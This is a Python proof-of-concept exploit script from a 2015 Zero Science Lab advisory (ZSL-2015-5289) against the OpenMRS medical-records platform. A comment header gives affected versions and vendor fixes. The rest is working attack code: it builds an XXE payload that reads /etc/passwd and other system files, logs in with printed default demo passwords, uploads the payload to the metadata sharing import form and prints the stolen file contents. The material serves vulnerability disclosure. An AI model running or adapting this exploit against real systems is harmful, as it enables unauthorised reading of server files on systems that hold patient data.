#!/usr/bin/env python # # OpenMRS 2.3 (1.11.4) XML External Entity (XXE) Processing PoC Exploit # # # Vendor: OpenMRS Inc. # Product web page: http://www.openmrs.org # Affected version: OpenMRS 2.3, 2.2, 2.1, 2.0 (Platform 1.11.4 (Build 6ebcaf), 1.11.2 and 1.10.0) # OpenMRS-TB System (OpenMRS 1.9.7 (Build 60bd9b)) # # Summary: OpenMRS is an application which enables design of a customized medical # records system with no programming knowledge (although medical and systems analysis # knowledge is required). It is a common framework upon which medical informatics # efforts in developing countries can be built. # # Desc: The vulnerability is caused due to an error when parsing XML entities within # ZIP archives and can be exploited to e.g. disclose data from local resources or cause # a DoS condition (billion laughs) via a specially crafted XML file including external # entity references. # # # Tested on: Ubuntu 12.04.5 LTS # Apache Tomcat/7.0.26 # Apache Tomcat/6.0.36 # Apache Coyote/1.1 # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # @zeroscience # # # Advisory ID: ZSL-2015-5289 # Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5289.php # # Affected: OpenMRS Core, Serialization.Xstream module, Metadata Sharing module # Severity: Major # Exploit: Remote Code Execution by an authenticated user # # Vendor Bug Fixes: # # Disabled serialization and deserialization of dynamic proxies # Disabled deserialization of external entities in XML files # Disabled spring's Expression Language support # # https://talk.openmrs.org/t/openmrs-security-advisories-2015-11-30/3868 # https://talk.openmrs.org/t/critical-security-advisory-2015-11-25/3824 # https://wiki.openmrs.org/display/RES/Release+Notes+2.3.1 # http://openmrs.org/2015/12/reference-application-2-3-1-released/ # https://wiki.openmrs.org/display/RES/Platform+Release+Notes+1.9.10 # https://wiki.openmrs.org/display/RES/Platform+Release+Notes+1.10.3 # https://wiki.openmrs.org/display/RES/Platform+Release+Notes+1.11.5 # https://modules.openmrs.org/modulus/api/releases/1308/download/serialization.xstream-0.2.10.omod # https://modules.openmrs.org/modulus/api/releases/1309/download/metadatasharing-1.1.10.omod # https://modules.openmrs.org/modulus/api/releases/1303/download/reporting-0.9.8.1.omod # # OpenMRS platform has been upgraded to version 1.11.5 # Reporting module has been upgraded to version 0.9.8.1 # Metadata sharing module has been upgraded to version 1.1.10 # Serialization.xstream module has been upgraded to version 0.2.10 # # Who is affected? # # Anyone running OpenMRS Platform (1.9.0 and later) # Anyone running OpenMRS Reference Application 2.0, 2.1, 2.2, 2.3 # Anyone that has installed the serialization.xstream module except for the newly released 0.2.10 version. # Anyone that has installed the metadatasharing module except for the newly released 1.1.10 version. # # # 02.11.2015 # import itertools, mimetools, mimetypes import cookielib, urllib, urllib2, sys import time, datetime, re, zipfile, os import binascii from urllib2 import URLError global bindata piton = os.path.basename(sys.argv[0]) def bannerche(): print ''' @-------------------------------------------------@ | | | OpenMRS 2.3 Authenticated XXE Exploit | | ID: ZSL-2015-5289 | | Copyleft (c) 2015, Zero Science Lab | | | @-------------------------------------------------@ ''' if len(sys.argv) < 4: print '\n[+] Usage: '+piton+' <host> <port> <path> \n' print '[+] Example: '+piton+' uat05.zeroscience.mk 8080 openmrs\n' sys.exit() bannerche() print '[+] Date: '+str(datetime.date.today()) payload = '''<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE ZSL [ <!ENTITY xxe1 SYSTEM "file:////etc/passwd" > <!ENTITY xxe2 SYSTEM "file:///etc/resolv.conf" > <!ENTITY xxe3 SYSTEM "file:///etc/issue" >]> <package id="1" uuid="eecb64f8-35b0-412b-acda-3d83edf4ee63"> <dateCreated id="2">2015-11-06 10:47:19</dateCreated> <name>&xxe1;</name> <description>&xxe2;</description> <openmrsVersion>&xxe3;</openmrsVersion> <version>1</version> </package>''' print '[+] Creating header.xml file.' file = open('header.xml', 'w') file.write(payload) file.close() time.sleep(1) print '[+] Packing evil XML file.' with zipfile.ZipFile('xxe.zip', 'w') as devzip: devzip.write('header.xml') os.remove('header.xml') print '[+] XML file vacuumed.' time.sleep(1) filename = 'xxe.zip' with open(filename, 'rb') as f: content = f.read() hexo = binascii.hexlify(content) bindata = binascii.unhexlify(hexo) print '[+] File xxe.zip successfully created!' print '[+] Initialising communication.' host = sys.argv[1] port = sys.argv[2] path = sys.argv[3] cj = cookielib.CookieJar() opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) print '[+] Probing target http://'+host+':'+port+'/'+path+'/' try: checkhost = opener.open('http://'+host+':'+port+'/'+path+'/login.htm') hostresp = checkhost.read() except urllib2.HTTPError, errorzio: if errorzio.code == 404: print '[+] Error:' print '[+] Check your path entry!' print sys.exit() except URLError, errorziocvaj: if errorziocvaj.reason: print '[+] Error:' print '[+] Check your hostname entry!' print sys.exit() print '[+] Target seems OK.' print '[+] Login please:' print ''' Username: doctor nurse clerk sysadmin admin scheduler Password: Doctor123 Nurse123 Clerk123 Sysadmin123 Admin123 Scheduler123 ''' username = raw_input('[*] Enter username: ') password = raw_input('[*] Enter password: ') login_data = urllib.urlencode({ 'username' : username, 'password' : password, 'sessionLocation' : '3', 'redirectUrl' : '/'+path+'/module/metadatasharing/import/list.form' }) login = opener.open('http://'+host+':'+port+'/'+path+'/login.htm', login_data) auth = login.read() for session in cj: sessid = session.name print '[+] Mapping session ID.' ses_chk = re.search(r'%s=w+' % sessid , str(cj)) cookie = ses_chk.group(0) print '[+] Cookie: '+cookie if re.search(r'Invalid username/password. Please try again', auth): print '[+] Incorrect username or password.' print sys.exit() else: print '[+] Authenticated!' opener.open('http://'+host+':'+port+'/'+path+'/module/metadatasharing/import/list.form') print '[+] Sending payload.' class MultiPartForm(object): def __init__(self): self.form_fields = [] self.files = [] self.boundary = mimetools.choose_boundary() return def get_content_type(self): return 'multipart/form-data; boundary=%s' % self.boundary def add_field(self, name, value): self.form_fields.append((name, value)) return def add_file(self, fieldname, filename, fileHandle, mimetype=None): body = fileHandle.read() if mimetype is None: mimetype = mimetypes.guess_type(filename)[0] or 'application/octet-stream' self.files.append((fieldname, filename, mimetype, body)) return def __str__(self): parts = [] part_boundary = '--' + self.boundary parts.extend( [ part_boundary, 'Content-Disposition: form-data; name="%s"' % name, '', value, ] for name, value in self.form_fields ) parts.extend( [ part_boundary, 'Content-Disposition: file; name="%s"; filename="%s"' % (field_name, filename), 'Content-Type: %s' % content_type, '', body, ] for field_name, filename, content_type, body in self.files ) flattened = list(itertools.chain(*parts)) flattened.append('--' + self.boundary + '--') flattened.append('') return '\r\n'.join(flattened) if __name__ == '__main__': form = MultiPartForm() form.add_field('file"; filename="xxe.zip', bindata) form.add_field('url', '') request = urllib2.Request('http://'+host+':'+port+'/'+path+'/module/metadatasharing/import/upload.form') request.add_header('User-agent', 'joxypoxy 6.5') body = str(form) request.add_header('Origin', 'http://'+host+':'+port) request.add_header('Accept-Encoding', 'gzip, deflate') request.add_header('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8') request.add_header('Accept-Language', 'en-US,en;q=0.8') request.add_header('Cache-Control', 'max-age=0') request.add_header('Upgrade-Insecure-Requests', '1') request.add_header('Referer', 'http://'+host+':'+port+'/'+path+'/module/metadatasharing/import/upload.form') request.add_header('Content-type', form.get_content_type()) request.add_header('Cookie', cookie) request.add_header('Content-length', len(body)) request.add_data(body) request.get_data() urllib2.urlopen(request).read() time.sleep(1) print '[+] Retrieving /etc/passwd:' time.sleep(2) getinfo = opener.open('http://'+host+':'+port+'/'+path+'/module/metadatasharing/import/validate.form') readinfo = getinfo.read() striphtml = re.sub("<.*?>", "", readinfo) match = re.search(r'root:.*/bin/bash', striphtml, re.DOTALL) print '\n--------------------------------------------------------' print match.group(0) print '--------------------------------------------------------' sys.exit()